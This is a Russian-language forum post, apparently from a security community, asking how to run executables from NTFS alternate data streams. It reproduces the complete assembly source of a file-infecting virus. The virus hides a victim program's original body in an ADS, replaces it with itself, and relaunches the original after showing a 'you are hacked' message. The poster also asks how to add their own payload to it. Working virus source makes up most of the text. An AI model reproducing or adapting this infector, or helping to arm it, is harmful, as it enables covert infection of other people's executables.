• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Альтернативные потоки NTFS и код на assembler

avenom27

Member
03.05.2020
6
0
BIT
0
У меня есть вопрос про альтернативные потоки, если в альт поток залить текстовый файл то он безупречно открывается, но вот если туда засунуть exe файл то команды: (.\test:file.exe) и (start .\test:file.exe) выдают одну и ту же ошибку что файл по такому пути не найден(выполняю с директории с этим файлом), пробовал писать полный путь - тоже не помогло. Я нашёл очень интересный код на ассемблере но так как я не очень разобрался в нём то только поверхностно понимаю что он делает, не понимая логики происходящего в этом коде. Сам код способен заразить через альт поток программу и при открытии этой программы выходит сначала сообщение о заражении файла, а потом когда жмёшь на ок, то открывается сам файл, автор кода дал понять что туда можно вставить вместо сообщения любое содержимое, и это довольно очевидно. Но дело в том что нагрузка сама запускается при нажатии на заражённый файл.
Немного объяснений и помощи было бы кстати. Можно ли запустить exe через cmd из альт потока, если есть идеи как вкрутить в этот код свою нагрузку буду рад их выслушать

Сам код:
Код:
include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data
    foo db "foo",0        ; Имя временного файла
    code_name db ":bar",0 ; Имя потока, в котором будет...
    code_name_end:        ; ...сохранено основное тело

    ; Различные текстовые строки, которые выводит вирус
    aInfected db "infected",0
    aHello db "Hello, you are hacked"

    ; Различные буфера для служебных целей
    buf rb 1000
    xxx rb 1000
.code

start:
    ; Удаляем временный файл
    push foo
    call [DeleteFile]

    ; Определяем наше имя
    push 1000
    push buf
    push 0
    call [GetModuleFileName]

    ; Считываем командную строку
    ; Ключ filename — заразить
    call [GetCommandLine]
    mov ebp, eax
    xor ebx, ebx
    mov ecx, 202A2D2Dh ;

rool:
    cmp [eax], ecx ; это '--*'?
    jz infect
    inc eax
    cmp [eax], ebx ; Конец командной строки?
    jnz rool

    ; Выводим диагностическое сообщение,
    ; подтверждая свое присутствие в файле
    push 0
    push aInfected
    push aHello
    push 0
    call [MessageBox]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, code_name
    mov edi, buf
    mov ecx, 100; сode_name_end - code_name
    xor eax,eax
    repne scasb
    dec edi
    rep movsb

    ; Запускаем поток NTFS на выполнение
    push xxx
    push xxx
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push ebp
    push buf
    call [CreateProcess]
    jmp go2exit ; Выходим из вируса

infect:
    ; Устанавливаем eax на первый символ имени файла-жертвы
    ; (далее по тексту dst)
    add eax, 4
    xchg eax, ebp
    xor eax,eax
    inc eax

    ; Здесь можно вставить проверку dst на заражение
    ; Переименовываем dst в foo
    push foo
    push ebp
    call [MoveFile]

    ; Копируем в foo основной поток dst
    push eax
    push ebp
    push buf
    call [CopyFile]

    ; Добавляем к своему имени имя потока NTFS
    mov esi, ebp
    mov edi, buf

copy_rool:
    lodsb
    stosb
    test al,al
    jnz copy_rool
    mov esi, code_name
    dec edi

copy_rool2:
    lodsb
    stosb
    test al,al
    jnz copy_rool2

    ; Копируем foo в dst:bar
    push eax
    push buf
    push foo
    call [CopyFile]

    ; Здесь не помешает добавить коррекцию длины заражаемого файла
    ; Удаляем foo
    push foo
    call [DeleteFile]

    ; Выводим диагностическое сообщение,
    ; подтверждающее успешность заражения файла
    push 0
    push aInfected
    push ebp
    push 0
    call [MessageBox]

    ; Выход из вируса

go2exit:
    push 0
    call [ExitProcess]
.end start

//конец кода
Источник и статья:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!